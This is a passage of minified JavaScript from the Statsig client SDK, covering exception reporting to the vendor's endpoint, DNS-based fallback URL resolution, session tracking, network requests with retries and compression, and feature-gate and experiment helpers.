X($){$.done?w($.value):z($.value).then(J,O)}X((Y=Y.apply(A,K||[])).next())})};Object.defineProperty(op,"__esModule",{value:!0});op.ErrorBoundary=op.EXCEPTION_ENDPOINT=void 0;var KsY=Xj(),qsY=SW1(),YsY=NgA();op.EXCEPTION_ENDPOINT="https://statsigapi.net/v1/sdk_exception";var pS7="[Statsig] UnknownError";class dS7{constructor(A,K,q,Y){this._sdkKey=A,this._options=K,this._emitter=q,this._lastSeenError=Y,this._seen=new Set}wrap(A){try{let K=A;wsY(K).forEach((q)=>{let Y=K[q];if("$EB"in Y)return;K[q]=(...z)=>{return this._capture(q,()=>Y.apply(A,z))},K[q].$EB=!0})}catch(K){this._onError("eb:wrap",K)}}logError(A,K){this._onError(A,K)}getLastSeenErrorAndReset(){let A=this._lastSeenError;return this._lastSeenError=void 0,A!==null&&A!==void 0?A:null}attachErrorIfNoneExists(A){if(this._lastSeenError)return;this._lastSeenError=US7(A)}_capture(A,K){try{let q=K();if(q&&q instanceof Promise)return q.catch((Y)=>this._onError(A,Y));return q}catch(q){return this._onError(A,q),null}}_onError(A,K){try{KsY.Log.warn(`Caught error in ${A}`,{error:K}),(()=>AsY(this,void 0,void 0,function*(){var Y,z,w,H,J,O,X;let $=K?K:Error(pS7),_=$ instanceof Error,G=_?$.name:"No Name",Z=US7($);if(this._lastSeenError=Z,this._seen.has(G))return;if(this._seen.add(G),(z=(Y=this._options)===null||Y===void 0?void 0:Y.networkConfig)===null||z===void 0?void 0:z.preventAllNetworkTraffic){(w=this._emitter)===null||w===void 0||w.call(this,{name:"error",error:K,tag:A});return}let W=qsY.SDKType._get(this._sdkKey),D=YsY.StatsigMetadataProvider.get(),j=_?$.stack:zsY($),M=JSON.stringify(Object.assign({tag:A,exception:G,info:j},Object.assign(Object.assign({},D),{sdkType:W})));yield((O=(J=(H=this._options)===null||H===void 0?void 0:H.networkConfig)===null||J===void 0?void 0:J.networkOverrideFunc)!==null&&O!==void 0?O:fetch)(op.EXCEPTION_ENDPOINT,{method:"POST",headers:{"STATSIG-API-KEY":this._sdkKey,"STATSIG-SDK-TYPE":String(W),"STATSIG-SDK-VERSION":String(D.sdkVersion),"Content-Type":"application/json"},body:M}),(X=this._emitter)===null||X===void 0||X.call(this,{name:"error",error:K,tag:A})}))().then(()=>{}).catch(()=>{})}catch(q){}}}op.ErrorBoundary=dS7;function US7(A){if(A instanceof Error)return A;else if(typeof A==="string")return Error(A);else return Error("An unknown error occurred.")}function zsY(A){try{return JSON.stringify(A)}catch(K){return pS7}}function wsY(A){let K=new Set,q=Object.getPrototypeOf(A);while(q&&q!==Object.prototype)Object.getOwnPropertyNames(q).filter((Y)=>typeof(q===null||q===void 0?void 0:q[Y])==="function").forEach((Y)=>K.add(Y)),q=Object.getPrototypeOf(q);return Array.from(K)}});var lS7=v((cS7)=>{Object.defineProperty(cS7,"__esModule",{value:!0})});var nS7=v((iS7)=>{Object.defineProperty(iS7,"__esModule",{value:!0})});var oS7=v((rS7)=>{Object.defineProperty(rS7,"__esModule",{value:!0})});var oT6=v((aS7)=>{Object.defineProperty(aS7,"__esModule",{value:!0});aS7.createMemoKey=aS7.MemoPrefix=void 0;aS7.MemoPrefix={_gate:"g",_dynamicConfig:"c",_experiment:"e",_layer:"l",_paramStore:"p"};var HsY=new Set([]),JsY=new Set(["userPersistedValues"]);function OsY(A,K,q){let Y=`${A}|${K}`;if(!q)return Y;for(let z of Object.keys(q)){if(JsY.has(z))return;if(HsY.has(z))Y+=`|${z}=true`;else Y+=`|${z}=${q[z]}`}return Y}aS7.createMemoKey=OsY});var tS7=v((hDA)=>{var $sY=hDA&&hDA.__awaiter||function(A,K,q,Y){function z(w){return w instanceof q?w:new q(function(H){H(w)})}return new(q||(q=Promise))(function(w,H){function J($){try{X(Y.next($))}catch(_){H(_)}}function O($){try{X(Y.throw($))}catch(_){H(_)}}function X($){$.done?w($.value):z($.value).then(J,O)}X((Y=Y.apply(A,K||[])).next())})};Object.defineProperty(hDA,"__esModule",{value:!0});hDA._fetchTxtRecords=void 0;var _sY=new Uint8Array([0,0,1,0,0,1,0,0,0,0,0,0,13,102,101,97,116,117,114,101,97,115,115,101,116,115,3,111,114,103,0,0,16,0,1]),GsY="https://cloudflare-dns.com/dns-query",ZsY=["i","e","d"],WsY=200;function DsY(A){return $sY(this,void 0,void 0,function*(){let K=yield A(GsY,{method:"POST",headers:{"Content-Type":"application/dns-message",Accept:"application/dns-message"},body:_sY});if(!K.ok){let z=Error("Failed to fetch TXT records from DNS");throw z.name="DnsTxtFetchError",z}let q=yield K.arrayBuffer(),Y=new Uint8Array(q);return jsY(Y)})}hDA._fetchTxtRecords=DsY;function jsY(A){let K=A.findIndex((Y,z)=>z<WsY&&String.fromCharCode(Y)==="="&&ZsY.includes(String.fromCharCode(A[z-1])));if(K===-1){let Y=Error("Failed to parse TXT records from DNS");throw Y.name="DnsTxtParseError",Y}let q="";for(let Y=K-1;Y<A.length;Y++)q+=String.fromCharCode(A[Y]);return q.split(",")}});var wh7=v((ls)=>{var eS7=ls&&ls.__awaiter||function(A,K,q,Y){function z(w){return w instanceof q?w:new q(function(H){H(w)})}return new(q||(q=Promise))(function(w,H){function J($){try{X(Y.next($))}catch(_){H(_)}}function O($){try{X(Y.throw($))}catch(_){H(_)}}function X($){$.done?w($.value):z($.value).then(J,O)}X((Y=Y.apply(A,K||[])).next())})};Object.defineProperty(ls,"__esModule",{value:!0});ls._isDomainFailure=ls.NetworkFallbackResolver=void 0;var MsY=tS7(),PsY=CDA(),VsY=Xj(),sT6=rp(),Ah7=604800000,fsY=14400000;class qh7{constructor(A){var K;this._fallbackInfo=null,this._errorBoundary=null,this._dnsQueryCooldowns={},this._networkOverrideFunc=(K=A.networkConfig)===null||K===void 0?void 0:K.networkOverrideFunc}setErrorBoundary(A){this._errorBoundary=A}tryBumpExpiryTime(A,K){var q;let Y=(q=this._fallbackInfo)===null||q===void 0?void 0:q[K.endpoint];if(!Y)return;Y.expiryTime=Date.now()+Ah7,aT6(A,Object.assign(Object.assign({},this._fallbackInfo),{[K.endpoint]:Y}))}getActiveFallbackUrl(A,K){var q,Y;let z=this._fallbackInfo;if(z==null)z=(q=NsY(A))!==null&&q!==void 0?q:{},this._fallbackInfo=z;let w=z[K.endpoint];if(!w||Date.now()>((Y=w.expiryTime)!==null&&Y!==void 0?Y:0))return delete z[K.endpoint],this._fallbackInfo=z,aT6(A,this._fallbackInfo),null;if(w.url)return w.url;return null}getFallbackFromProvided(A){let K=Kh7(A);if(K)return A.replace(K,"");return null}tryFetchUpdatedFallbackInfo(A,K,q,Y){var z,w;return eS7(this,void 0,void 0,function*(){try{if(!Yh7(q,Y))return!1;let J=K.customUrl==null&&K.fallbackUrls==null?yield this._tryFetchFallbackUrlsFromNetwork(K):K.fallbackUrls,O=this._pickNewFallbackUrl((z=this._fallbackInfo)===null||z===void 0?void 0:z[K.endpoint],J);if(!O)return!1;return this._updateFallbackInfoWithNewUrl(A,K.endpoint,O),!0}catch(H){return(w=this._errorBoundary)===null||w===void 0||w.logError("tryFetchUpdatedFallbackInfo",H),!1}})}_updateFallbackInfoWithNewUrl(A,K,q){var Y,z,w;let H={url:q,expiryTime:Date.now()+Ah7,previous:[]},J=(Y=this._fallbackInfo)===null||Y===void 0?void 0:Y[K];if(J)H.previous.push(...J.previous);if(H.previous.length>10)H.previous=[];let O=(w=(z=this._fallbackInfo)===null||z===void 0?void 0:z[K])===null||w===void 0?void 0:w.url;if(O!=null)H.previous.push(O);this._fallbackInfo=Object.assign(Object.assign({},this._fallbackInfo),{[K]:H}),aT6(A,this._fallbackInfo)}_tryFetchFallbackUrlsFromNetwork(A){var K;return eS7(this,void 0,void 0,function*(){let q=this._dnsQueryCooldowns[A.endpoint];if(q&&Date.now()<q)return null;this._dnsQueryCooldowns[A.endpoint]=Date.now()+fsY;let Y=[],z=yield(0,MsY._fetchTxtRecords)((K=this._networkOverrideFunc)!==null&&K!==void 0?K:fetch),w=Kh7(A.defaultUrl);for(let H of z){if(!H.startsWith(A.endpointDnsKey+"="))continue;let J=H.split("=");if(J.length>1){let O=J[1];if(O.endsWith("/"))O=O.slice(0,-1);Y.push(`https://${O}${w}`)}}return Y})}_pickNewFallbackUrl(A,K){var q;if(K==null)return null;let Y=new Set((q=A===null||A===void 0?void 0:A.previous)!==null&&q!==void 0?q:[]),z=A===null||A===void 0?void 0:A.url,w=null;for(let H of K){let J=H.endsWith("/")?H.slice(0,-1):H;if(!Y.has(H)&&J!==z){w=J;break}}return w}}ls.NetworkFallbackResolver=qh7;function Yh7(A,K){var q;let Y=(q=A===null||A===void 0?void 0:A.toLowerCase())!==null&&q!==void 0?q:"";return K||Y.includes("uncaught exception")||Y.includes("failed to fetch")||Y.includes("networkerror when attempting to fetch resource")}ls._isDomainFailure=Yh7;function zh7(A){return`statsig.network_fallback.${(0,PsY._DJB2)(A)}`}function aT6(A,K){let q=zh7(A);if(!K||Object.keys(K).length===0){sT6.Storage.removeItem(q);return}sT6.Storage.setItem(q,JSON.stringify(K))}function NsY(A){let K=zh7(A),q=sT6.Storage.getItem(K);if(!q)return null;try{return JSON.parse(q)}catch(Y){return VsY.Log.error("Failed to parse FallbackInfo"),null}}function Kh7(A){try{return new URL(A).pathname}catch(K){return null}}});var tT6=v((Jh7)=>{Object.defineProperty(Jh7,"__esModule",{value:!0});Jh7.SDKFlags=void 0;var Hh7={};Jh7.SDKFlags={setFlags:(A,K)=>{Hh7[A]=K},get:(A,K)=>{var q,Y;return(Y=(q=Hh7[A])===null||q===void 0?void 0:q[K])!==null&&Y!==void 0?Y:!1}}});var bW1=v((Dh7)=>{Object.defineProperty(Dh7,"__esModule",{value:!0});Dh7.StatsigSession=Dh7.SessionID=void 0;var TsY=jgA(),vsY=Xj(),$h7=rp(),_h7=kW1(),Gh7=1800000,Zh7=14400000,hW1={};Dh7.SessionID={get:(A)=>{return Dh7.StatsigSession.get(A).data.sessionID}};Dh7.StatsigSession={get:(A)=>{if(hW1[A]==null)hW1[A]=EsY(A);let K=hW1[A];return CsY(K)},overrideInitialSessionID:(A,K)=>{hW1[K]=ksY(A,K)}};function EsY(A){let K=IsY(A),q=Date.now();if(!K)K={sessionID:(0,_h7.getUUID)(),startTime:q,lastUpdate:q};return{data:K,sdkKey:A}}function ksY(A,K){let q=Date.now();return{data:{sessionID:A,startTime:q,lastUpdate:q},sdkKey:K}}function CsY(A){let K=Date.now(),q=A.data;if(LsY(q)||RsY(q))q.sessionID=(0,_h7.getUUID)(),q.startTime=K;q.lastUpdate=K,ysY(q,A.sdkKey),clearTimeout(A.idleTimeoutID),clearTimeout(A.ageTimeoutID);let Y=K-q.startTime,z=A.sdkKey;return A.idleTimeoutID=Xh7(z,Gh7),A.ageTimeoutID=Xh7(z,Zh7-Y),A}function Xh7(A,K){return setTimeout(()=>{let q=__STATSIG__===null||__STATSIG__===void 0?void 0:__STATSIG__.instance(A);if(q)q.$emt({name:"session_expired"})},K)}function LsY({lastUpdate:A}){return Date.now()-A>Gh7}function RsY({startTime:A}){return Date.now()-A>Zh7}function Wh7(A){return`statsig.session_id.${(0,TsY._getStorageKey)(A)}`}function ysY(A,K){let q=Wh7(K);try{(0,$h7._setObjectInStorage)(q,A)}catch(Y){vsY.Log.warn("Failed to save SessionID")}}function IsY(A){let K=Wh7(A);return(0,$h7._getObjectFromStorage)(K)}});var Av6=v((jh7)=>{Object.defineProperty(jh7,"__esModule",{value:!0});jh7.ErrorTag=void 0;jh7.ErrorTag={NetworkError:"NetworkError"}});var Ch7=v((xDA)=>{var bDA=xDA&&xDA.__awaiter||function(A,K,q,Y){function z(w){return w instanceof q?w:new q(function(H){H(w)})}return new(q||(q=Promise))(function(w,H){function J($){try{X(Y.next($))}catch(_){H(_)}}function O($){try{X(Y.throw($))}catch(_){H(_)}}function X($){$.done?w($.value):z($.value).then(J,O)}X((Y=Y.apply(A,K||[])).next())})};Object.defineProperty(xDA,"__esModule",{value:!0});xDA.NetworkCore=void 0;y5A();var Ph7=y5A(),Kv6=GW1(),h5A=Xj(),_S=MgA(),hsY=wh7(),bsY=tT6(),Nh7=SW1(),xsY=I5A(),Th7=bW1(),usY=LW1(),BsY=Av6(),vh7=NgA(),msY=vW1(),gsY=1e4,FsY=500,QsY=30000,UsY=1000,Eh7=50,psY=Eh7/UsY,dsY=new Set([408,500,502,503,504,522,524,599]);class kh7{constructor(A,K){if(this._emitter=K,this._errorBoundary=null,this._timeout=gsY,this._netConfig={},this._options={},this._leakyBucket={},this._lastUsedInitUrl=null,A)this._options=A;if(this._options.networkConfig)this._netConfig=this._options.networkConfig;if(this._netConfig.networkTimeoutMs)this._timeout=this._netConfig.networkTimeoutMs;this._fallbackResolver=new hsY.NetworkFallbackResolver(this._options)}setErrorBoundary(A){this._errorBoundary=A,this._errorBoundary.wrap(this),this._errorBoundary.wrap(this._fallbackResolver),this._fallbackResolver.setErrorBoundary(A)}isBeaconSupported(){return typeof navigator<"u"&&typeof navigator.sendBeacon==="function"}getLastUsedInitUrlAndReset(){let A=this._lastUsedInitUrl;return this._lastUsedInitUrl=null,A}beacon(A){return bDA(this,void 0,void 0,function*(){if(!Vh7(A))return!1;let K=this._getInternalRequestArgs("POST",A);yield this._tryToCompressBody(K);let q=yield this._getPopulatedURL(K),Y=navigator;return Y.sendBeacon.bind(Y)(q,K.body)})}post(A){return bDA(this,void 0,void 0,function*(){let K=this._getInternalRequestArgs("POST",A);return this._tryEncodeBody(K),yield this._tryToCompressBody(K),this._sendRequest(K)})}get(A){let K=this._getInternalRequestArgs("GET",A);return this._sendRequest(K)}_sendRequest(A){var K,q,Y,z;return bDA(this,void 0,void 0,function*(){if(!Vh7(A))return null;if(this._netConfig.preventAllNetworkTraffic)return null;let{method:w,body:H,retries:J,attempt:O}=A,X=A.urlConfig.endpoint;if(this._isRateLimited(X))return h5A.Log.warn(`Request to ${X} was blocked because you are making requests too frequently.`),null;let $=O!==null&&O!==void 0?O:1,_=typeof AbortController<"u"?new AbortController:null,G=setTimeout(()=>{_===null||_===void 0||_.abort(`Timeout of ${this._timeout}ms expired.`)},this._timeout),Z=yield this._getPopulatedURL(A),W=null,D=(0,msY._isUnloading)();try{let j={method:w,body:H,headers:Object.assign({},A.headers),signal:_===null||_===void 0?void 0:_.signal,priority:A.priority,keepalive:D};nsY(A,$);let M=this._leakyBucket[X];if(M)M.lastRequestTime=Date.now(),this._leakyBucket[X]=M;if(W=yield((K=this._netConfig.networkOverrideFunc)!==null&&K!==void 0?K:fetch)(Z,j),clearTimeout(G),!W.ok){let N=yield W.text().catch(()=>"No Text"),T=Error(`NetworkError: ${Z} ${N}`);throw T.name="NetworkError",T}let f=yield W.text();return fh7(A,W,$,f),this._fallbackResolver.tryBumpExpiryTime(A.sdkKey,A.urlConfig),{body:f,code:W.status}}catch(j){let M=lsY(_,j),P=isY(_);if(fh7(A,W,$,"",j),yield this._fallbackResolver.tryFetchUpdatedFallbackInfo(A.sdkKey,A.urlConfig,M,P))A.fallbackUrl=this._fallbackResolver.getActiveFallbackUrl(A.sdkKey,A.urlConfig);if(!J||$>J||!dsY.has((q=W===null||W===void 0?void 0:W.status)!==null&&q!==void 0?q:500)){(Y=this._emitter)===null||Y===void 0||Y.call(this,{name:"error",error:j,tag:BsY.ErrorTag.NetworkError,requestArgs:A});let N=`A networking error occurred during ${w} request to ${Z}.`;return h5A.Log.error(N,M,j),(z=this._errorBoundary)===null||z===void 0||z.attachErrorIfNoneExists(N),null}return yield rsY($),this._sendRequest(Object.assign(Object.assign({},A),{retries:J,attempt:$+1}))}})}_isRateLimited(A){var K;let q=Date.now(),Y=(K=this._leakyBucket[A])!==null&&K!==void 0?K:{count:0,lastRequestTime:q},z=q-Y.lastRequestTime,w=Math.floor(z*psY);if(Y.count=Math.max(0,Y.count-w),Y.count>=Eh7)return!0;return Y.count+=1,Y.lastRequestTime=q,this._leakyBucket[A]=Y,!1}_getPopulatedURL(A){var K;return bDA(this,void 0,void 0,function*(){let q=(K=A.fallbackUrl)!==null&&K!==void 0?K:A.urlConfig.getUrl();if(A.urlConfig.endpoint===_S.Endpoint._initialize||A.urlConfig.endpoint===_S.Endpoint._download_config_specs)this._lastUsedInitUrl=q;let Y=Object.assign({[_S.NetworkParam.SdkKey]:A.sdkKey,[_S.NetworkParam.SdkType]:Nh7.SDKType._get(A.sdkKey),[_S.NetworkParam.SdkVersion]:vh7.SDK_VERSION,[_S.NetworkParam.Time]:String(Date.now()),[_S.NetworkParam.SessionID]:Th7.SessionID.get(A.sdkKey)},A.params),z=Object.keys(Y).map((w)=>{return`${encodeURIComponent(w)}=${encodeURIComponent(Y[w])}`}).join("&");return`${q}${z?`?${z}`:""}`})}_tryEncodeBody(A){var K;let q=(0,xsY._getWindowSafe)(),Y=A.body;if(!A.isStatsigEncodable||this._options.disableStatsigEncoding||typeof Y!=="string"||(0,Ph7._getStatsigGlobalFlag)("no-encode")!=null||!(q===null||q===void 0?void 0:q.btoa))return;try{A.body=q.btoa(Y).split("").reverse().join(""),A.params=Object.assign(Object.assign({},(K=A.params)!==null&&K!==void 0?K:{}),{[_S.NetworkParam.StatsigEncoded]:"1"})}catch(z){h5A.Log.warn(`Request encoding failed for ${A.urlConfig.getUrl()}`,z)}}_tryToCompressBody(A){var K;return bDA(this,void 0,void 0,function*(){let q=A.body;if(!A.isCompressable||this._options.disableCompression||typeof q!=="string"||bsY.SDKFlags.get(A.sdkKey,"enable_log_event_compression")!==!0||(0,Ph7._getStatsigGlobalFlag)("no-compress")!=null||typeof CompressionStream>"u"||typeof TextEncoder>"u")return;try{let Y=new TextEncoder().encode(q),z=new CompressionStream("gzip"),w=z.writable.getWriter();w.write(Y).catch(h5A.Log.error),w.close().catch(h5A.Log.error);let H=z.readable.getReader(),J=[],O;while(!(O=yield H.read()).done)J.push(O.value);let X=J.reduce((G,Z)=>G+Z.length,0),$=new Uint8Array(X),_=0;for(let G of J)$.set(G,_),_+=G.length;A.body=$,A.params=Object.assign(Object.assign({},(K=A.params)!==null&&K!==void 0?K:{}),{[_S.NetworkParam.IsGzipped]:"1"})}catch(Y){h5A.Log.warn(`Request compression failed for ${A.urlConfig.getUrl()}`,Y)}})}_getInternalRequestArgs(A,K){let q=this._fallbackResolver.getActiveFallbackUrl(K.sdkKey,K.urlConfig),Y=Object.assign(Object.assign({},K),{method:A,fallbackUrl:q});if("data"in K)csY(Y,K.data);return Y}}xDA.NetworkCore=kh7;var Vh7=(A)=>{if(!A.sdkKey)return h5A.Log.warn("Unable to make request without an SDK key"),!1;return!0},csY=(A,K)=>{let{sdkKey:q,fallbackUrl:Y}=A,z=usY.StableID.get(q),w=Th7.SessionID.get(q),H=Nh7.SDKType._get(q);A.body=JSON.stringify(Object.assign(Object.assign({},K),{statsigMetadata:Object.assign(Object.assign({},vh7.StatsigMetadataProvider.get()),{stableID:z,sessionID:w,sdkType:H,fallbackUrl:Y})}))};function lsY(A,K){if((A===null||A===void 0?void 0:A.signal.aborted)&&typeof A.signal.reason==="string")return A.signal.reason;if(typeof K==="string")return K;if(K instanceof Error)return`${K.name}: ${K.message}`;return"Unknown Error"}function isY(A){return(A===null||A===void 0?void 0:A.signal.aborted)&&typeof A.signal.reason==="string"&&A.signal.reason.includes("Timeout")||!1}function nsY(A,K){if(A.urlConfig.endpoint!==_S.Endpoint._initialize)return;Kv6.Diagnostics._markInitNetworkReqStart(A.sdkKey,{attempt:K})}function fh7(A,K,q,Y,z){if(A.urlConfig.endpoint!==_S.Endpoint._initialize)return;Kv6.Diagnostics._markInitNetworkReqEnd(A.sdkKey,Kv6.Diagnostics._getDiagnosticsData(K,q,Y,z))}function rsY(A){return bDA(this,void 0,void 0,function*(){yield new Promise((K)=>setTimeout(K,Math.min(FsY*(A*A),QsY)))})}});var Rh7=v((Lh7)=>{Object.defineProperty(Lh7,"__esModule",{value:!0})});var Ih7=v((yh7)=>{Object.defineProperty(yh7,"__esModule",{value:!0})});var hh7=v((uDA)=>{var osY=uDA&&uDA.__awaiter||function(A,K,q,Y){function z(w){return w instanceof q?w:new q(function(H){H(w)})}return new(q||(q=Promise))(function(w,H){function J($){try{X(Y.next($))}catch(_){H(_)}}function O($){try{X(Y.throw($))}catch(_){H(_)}}function X($){$.done?w($.value):z($.value).then(J,O)}X((Y=Y.apply(A,K||[])).next())})};Object.defineProperty(uDA,"__esModule",{value:!0});uDA.StatsigClientBase=void 0;y5A();var asY=y5A(),ssY=rT6(),tsY=dT6(),qv6=Xj(),esY=oT6(),AtY=I5A(),KtY=bW1(),xW1=rp(),qtY=3000;class Sh7{constructor(A,K,q,Y){var z;this.loadingStatus="Uninitialized",this._initializePromise=null,this._listeners={};let w=this.$emt.bind(this);(Y===null||Y===void 0?void 0:Y.logLevel)!=null&&(qv6.Log.level=Y.logLevel),(Y===null||Y===void 0?void 0:Y.disableStorage)&&xW1.Storage._setDisabled(!0),(Y===null||Y===void 0?void 0:Y.initialSessionID)&&KtY.StatsigSession.overrideInitialSessionID(Y.initialSessionID,A),(Y===null||Y===void 0?void 0:Y.storageProvider)&&xW1.Storage._setProvider(Y.storageProvider),this._sdkKey=A,this._options=Y!==null&&Y!==void 0?Y:{},this._memoCache={},this.overrideAdapter=(z=Y===null||Y===void 0?void 0:Y.overrideAdapter)!==null&&z!==void 0?z:null,this._logger=new tsY.EventLogger(A,w,q,Y),this._errorBoundary=new ssY.ErrorBoundary(A,Y,w),this._errorBoundary.wrap(this),this._errorBoundary.wrap(K),this._errorBoundary.wrap(this._logger),q.setErrorBoundary(this._errorBoundary),this.dataAdapter=K,this.dataAdapter.attach(A,Y),this.storageProvider=xW1.Storage,this._primeReadyRipcord(),YtY(A,this)}updateRuntimeOptions(A){if(A.disableLogging!=null)this._options.disableLogging=A.disableLogging,this._logger.setLoggingDisabled(A.disableLogging);if(A.disableStorage!=null)this._options.disableStorage=A.disableStorage,xW1.Storage._setDisabled(A.disableStorage)}flush(){return this._logger.flush()}shutdown(){return osY(this,void 0,void 0,function*(){this.$emt({name:"pre_shutdown"}),this._setStatus("Uninitialized",null),this._initializePromise=null,yield this._logger.stop()})}on(A,K){if(!this._listeners[A])this._listeners[A]=[];this._listeners[A].push(K)}off(A,K){if(this._listeners[A]){let q=this._listeners[A].indexOf(K);if(q!==-1)this._listeners[A].splice(q,1)}}$on(A,K){K.__isInternal=!0,this.on(A,K)}$emt(A){var K;let q=(Y)=>{try{Y(A)}catch(z){if(Y.__isInternal===!0){this._errorBoundary.logError(`__emit:${A.name}`,z);return}qv6.Log.error("An error occurred in a StatsigClientEvent listener. This is not an issue with Statsig.",A)}};if(this._listeners[A.name])this._listeners[A.name].forEach((Y)=>q(Y));(K=this._listeners["*"])===null||K===void 0||K.forEach(q)}_setStatus(A,K){this.loadingStatus=A,this._memoCache={},this.$emt({name:"values_updated",status:A,values:K})}_enqueueExposure(A,K,q){if((q===null||q===void 0?void 0:q.disableExposureLog)===!0){this._logger.incrementNonExposureCount(A);return}this._logger.enqueue(K)}_memoize(A,K){return(q,Y)=>{if(this._options.disableEvaluationMemoization)return K(q,Y);let z=(0,esY.createMemoKey)(A,q,Y);if(!z)return K(q,Y);if(!(z in this._memoCache)){if(Object.keys(this._memoCache).length>=qtY)this._memoCache={};this._memoCache[z]=K(q,Y)}return this._memoCache[z]}}}uDA.StatsigClientBase=Sh7;function YtY(A,K){var q;if((0,AtY._isServerEnv)())return;let Y=(0,asY._getStatsigGlobal)(),z=(q=Y.instances)!==null&&q!==void 0?q:{},w=K;if(z[A]!=null)qv6.Log.warn("Creating multiple Statsig clients with the same SDK key can lead to unexpected behavior. Multi-instance support requires different SDK keys.");if(z[A]=w,!Y.firstInstance)Y.firstInstance=w;Y.instances=z,__STATSIG__=Y}});var uh7=v((bh7)=>{Object.defineProperty(bh7,"__esModule",{value:!0});bh7.DataAdapterCachePrefix=void 0;bh7.DataAdapterCachePrefix="statsig.cached"});var mh7=v((Bh7)=>{Object.defineProperty(Bh7,"__esModule",{value:!0})});var Fh7=v((gh7)=>{Object.defineProperty(gh7,"__esModule",{value:!0})});var dh7=v((Uh7)=>{Object.defineProperty(Uh7,"__esModule",{value:!0});Uh7._makeTypedGet=Uh7._mergeOverride=Uh7._makeLayer=Uh7._makeExperiment=Uh7._makeDynamicConfig=Uh7._makeFeatureGate=void 0;var ztY=Xj(),wtY=ZW1(),HtY="default";function Yv6(A,K,q,Y){var z;return{name:A,details:K,ruleID:(z=q===null||q===void 0?void 0:q.rule_id)!==null&&z!==void 0?z:HtY,__evaluation:q,value:Y}}function JtY(A,K,q){return Yv6(A,K,q,(q===null||q===void 0?void 0:q.value)===!0)}Uh7._makeFeatureGate=JtY;function Qh7(A,K,q){var Y;let z=(Y=q===null||q===void 0?void 0:q.value)!==null&&Y!==void 0?Y:{};return Object.assign(Object.assign({},Yv6(A,K,q,z)),{get:uW1(A,q===null||q===void 0?void 0:q.value)})}Uh7._makeDynamicConfig=Qh7;function OtY(A,K,q){var Y;let z=Qh7(A,K,q);return Object.assign(Object.assign({},z),{groupName:(Y=q===null||q===void 0?void 0:q.group_name)!==null&&Y!==void 0?Y:null})}Uh7._makeExperiment=OtY;function XtY(A,K,q,Y){var z,w;return Object.assign(Object.assign({},Yv6(A,K,q,void 0)),{get:uW1(A,q===null||q===void 0?void 0:q.value,Y),groupName:(z=q===null||q===void 0?void 0:q.group_name)!==null&&z!==void 0?z:null,__value:(w=q===null||q===void 0?void 0:q.value)!==null&&w!==void 0?w:{}})}Uh7._makeLayer=XtY;function $tY(A,K,q,Y){return Object.assign(Object.assign(Object.assign({},A),K),{get:uW1(A.name,q,Y)})}Uh7._mergeOverride=$tY;function uW1(A,K,q){return(Y,z)=>{var w;let H=(w=K===null||K===void 0?void 0:K[Y])!==null&&w!==void 0?w:null;if(H==null)return z!==null&&z!==void 0?z:null;if(z!=null&&!(0,wtY._isTypeMatch)(H,z))return ztY.Log.warn(`Parameter type mismatch. '${A}.${Y}' was found to be type '${typeof H}' but fallback/return type is '${typeof z}'. See https://docs.statsig.com/client/javascript-sdk/#typed-getters`),z!==null&&z!==void 0?z:null;return q===null||q===void 0||q(Y),H}}Uh7._makeTypedGet=uW1});var lh7=v((ch7)=>{Object.defineProperty(ch7,"__esModule",{value:!0})});var rh7=v((ih7)=>{Object.defineProperty(ih7,"__esModule",{value:!0});ih7.UPDATE_DETAIL_ERROR_MESSAGES=ih7.createUpdateDetails=void 0;var jtY=(A,K,q,Y,z,w)=>{return{duration:q,source:K,success:A,error:Y,sourceUrl:z,warnings:w}};ih7.createUpdateDetails=jtY;ih7.UPDATE_DETAIL_ERROR_MESSAGES={NO_NETWORK_DATA:"No data was returned from the network. This may be due to a network timeout if a timeout value was specified in the options or ad blocker error."}});var is=v((eK)=>{var PtY=eK&&eK.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),A9=eK&&eK.__exportStar||function(A,K){for(var q in A)if(q!=="default"&&!Object.prototype.hasOwnProperty.call(K,q))PtY(K,A,q)};Object.defineProperty(eK,"__esModule",{value:!0});eK.Storage=eK.Log=eK.EventLogger=eK.Diagnostics=void 0;y5A();var VtY=GW1();Object.defineProperty(eK,"Diagnostics",{enumerable:!0,get:function(){return VtY.Diagnostics}});var ftY=dT6();Object.defineProperty(eK,"EventLogger",{enumerable:!0,get:function(){return ftY.EventLogger}});var oh7=Xj();Object.defineProperty(eK,"Log",{enumerable:!0,get:function(){return oh7.Log}});var NtY=NgA(),TtY=rp();Object.defineProperty(eK,"Storage",{enumerable:!0,get:function(){return TtY.Storage}});A9(y5A(),eK);A9(jgA(),eK);A9(PS7(),eK);A9(uS7(),eK);A9(GW1(),eK);A9(mS7(),eK);A9(rT6(),eK);A9(lS7(),eK);A9(nS7(),eK);A9(CDA(),eK);A9(oS7(),eK);A9(Xj(),eK);A9(oT6(),eK);A9(MgA(),eK);A9(Ch7(),eK);A9(Rh7(),eK);A9(Ih7(),eK);A9(I5A(),eK);A9(SW1(),eK);A9(bW1(),eK);A9(LW1(),eK);A9(hh7(),eK);A9(Av6(),eK);A9(uh7(),eK);A9(uT6(),eK);A9(NgA(),eK);A9(mh7(),eK);A9(Fh7(),eK);A9(dh7(),eK);A9(lh7(),eK);A9(lT6(),eK);A9(rp(),eK);A9(iT6(),eK);A9(ZW1(),eK);A9(gT6(),eK);A9(kW1(),eK);A9(vW1(),eK);A9(rh7(),eK);A9(tT6(),eK);__STATSIG__=Object.assign(Object.assign({},__STATSIG__!==null&&__STATSIG__!==void 0?__STATSIG__:{}),{Log:oh7.Log,SDK_VERSION:NtY.SDK_VERSION})});var th7=v((sh7)=>{Object.defineProperty(sh7,"__esModule",{value:!0});var b5A=is();class ah7{constructor(A){this._sdkKey=A,this._rawValues=null,this._values=null,this._source="Uninitialized",this._lcut=0,this._receivedAt=0,this._bootstrapMetadata=null,this._warnings=new Set}reset(){this._values=null,this._rawValues=null,this._source="Loading",this._lcut=0,this._receivedAt=0,this._bootstrapMetadata=null}finalize(){if(this._values)return;this._source="NoValues"}getValues(){return this._rawValues?(0,b5A._typedJsonParse)(this._rawValues,"has_updates","EvaluationStoreValues"):null}setValues(A,K){var q;if(!A)return!1;let Y=(0,b5A._typedJsonParse)(A.data,"has_updates","EvaluationResponse");if(Y==null)return!1;if(this._source=A.source,(Y===null||Y===void 0?void 